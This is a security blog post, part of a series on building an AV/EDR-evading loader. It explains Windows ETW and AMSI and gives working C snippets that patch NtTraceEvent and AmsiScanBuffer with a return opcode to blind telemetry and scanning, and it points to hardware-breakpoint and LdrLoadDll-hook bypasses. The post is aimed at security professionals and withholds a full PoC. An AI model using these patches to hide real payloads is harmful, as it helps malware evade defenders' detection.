Loader Dev. 3 – Evading userspace hooks
April 10, 2024 – In this post, we will go over techniques to avoid hooks placed into memory by an EDR.
Author: Kolja Grassmann
In the last post, we discussed how we can get rid of any hooks placed into our process by an EDR solution. However, there are also other mechanisms provided by Windows, which could help to detect our payload. Two of these are ETW and AMSI.
These posts are written to provide information to other professionals of the discussed topics.
The techniques used here are not novel and were documented by other people before. Therefore, the benefits of these posts for threat actors will likely be minimal. Nonetheless, we decided against releasing a full PoC implementation and will instead only provide code snippets as part of the posts. All credit should go to the people who did the original research on the techniques used.
There will also be an accompanying blog post on detecting or hunting for malware using the discussed techniques to enable readers to protect their environment.
Event Tracing for Windows collects events from a process, which can then be retrieved e.g. by an EDR or AV solution. This could allow the detection of our payload. An article that discusses more details can be found here. An easy way to see the effect of patching ETW is using the process hacker after loading a C# assembly. The following screenshot was taken without patching ETW:
This screenshot shows that Rubeus was loaded into our process. If the Process Hacker is aware of this, an EDR can also detect it. The next screenshot shows the same window, but this time ETW was patched before the C# assembly was loaded:
Consultant
As we can see, there is no information about the loaded assemblies available.
AMSI is another feature provided by Microsoft. Here, an EDR or AV solution can register as a provider and will then get handed e.g. C# assemblies or PowerShell scripts before they are executed. This is done automatically e.g. while loading a C# assembly. Our payload would be unencrypted at this point and could therefore be detected.
As both ETW and AMSI are implemented in user space, we can interfere with them from there. Note, however, that attacking these features might lead to detection and it might make sense to use more creative solutions than we did in this post.
Like the hooks placed by EDRs, we can simply modify functions that are needed for ETW or AMSI. Note that both locations at which we are currently patching functions are well-known and patches at these locations will likely be detected by at least some EDRs.
For ETW, the NtTraceEvent syscall is used to turn over this information to the kernel from which it can be later retrieved. Therefore, patching this syscall in ntdll.dll so that it does not hand over the information should disable the feature. There are also other functions related to ETW, but the NtTraceEvent function seems to be central to the functionality of ETW and therefore a good option. A PoC can be found here. The implementation in our loader looks as follows:
// Get a handle to ntdll
HANDLE ntdll_handle = GetModuleHandle("ntdll.dll");
// Get the address of NtTraceEvent
LPVOID nttraceevent_address = GetProcAddress(ntdll_handle, “NtTraceEvent”);
// We need a copy as ntprotectvirtualmemory might overwrite our address
LPVOID nttraceevent_address_copy = nttraceevent_address;
// Change the protections of the function so we can write
DWORD oldprotect = 0;
SIZE_T size = 4096;
pNtProtectVirtualMemory((HANDLE)-1, &nttraceevent_address_copy, &size, PAGE_EXECUTE_READWRITE, &oldprotect);
// Write a return opcode at offset 3
memcpy(nttraceevent_address+3, “\xc3”, 1); // ret
// Change the protections back to the original ones
pNtProtectVirtualMemory((HANDLE)-1, &nttraceevent_address, &size, PAGE_EXECUTE_READ,&oldprotect);
For AMSI, we can patch, for example, the AmsiScanBuffer function. The implementation currently looks very similar to the one for ETW, but we additionally need to ensure that amsi.dll is loaded:
// Get a handle to amsi.dll
HMODULE amsi_handle = LoadLibraryA("amsi.dll");
// Get the address of the AmsiScanBuffer function
LPVOID amsiscanbuffer_address = GetProcAddress(amsi_handle, “AmsiScanBuffer”);
// We need a copy as ntprotectvirtualmemory might overwrite our address
LPVOID amsiscanbuffer_address_copy = amsiscanbuffer_address;
// Change the protections of the function so we can write
DWORD oldprotect = 0;
SIZE_T size = 4096;
NtProtectVirtualMemory((HANDLE)-1, &amsiscanbuffer_address_copy, &size, PAGE_READWRITE,&oldprotect);
// Write a return opcode at offset 3
memcpy(amsiscanbuffer_address+3, “\xc3”, 1); // ret
// Change the protections back to the original ones
NtProtectVirtualMemory((HANDLE)-1, &amsiscanbuffer_address, &size, oldprotect,&oldprotect);
In our opinion, this is suspicious, as we are forcing a load of amsi.dll at a point where it is not needed. A better strategy would be to invoke legit functionality, which causes amsi.dll to be loaded, and to then patch it after it was loaded.
There is a blog post by EthicalChaos, which discusses evading AMSI without making changes to the process memory. This works by setting a hardware breakpoint on the previously discussed functions and then using a Vectored Exception Handler to handle this hardware breakpoint. Our exception handler can then force the function to return and specify a return value indicating that everything went well. There is an implementation of this in which details can be seen.
Another idea for disabling AMSI is to prevent amsi.dll from being loaded. This could e.g. be done by adding a hook to LdrLoadDll in ntdll.dll to filter the DLLs we allow our process to load. This is done by batsec in a sample solution.
In this post, we looked at disabling ETW and AMSI for our process, which is especially relevant for loading C# executables. In the next post, we will finally be discussing how to load our actual payload and how well the loader fares against security products.
April 10, 2024 – In this post, we will go over techniques to avoid hooks placed into memory by an EDR.
Author: Kolja Grassmann
March 10, 2024 – In this post, we discuss dynamically resolving functions, which help to avoid static detections based on the functions imported by our executable.
Author: Kolja Grassmann
February 10, 2024 – This is the first post in a series of posts that will cover the development of a loader for evading AV and EDR solutions.
Author: Kolja Grassmann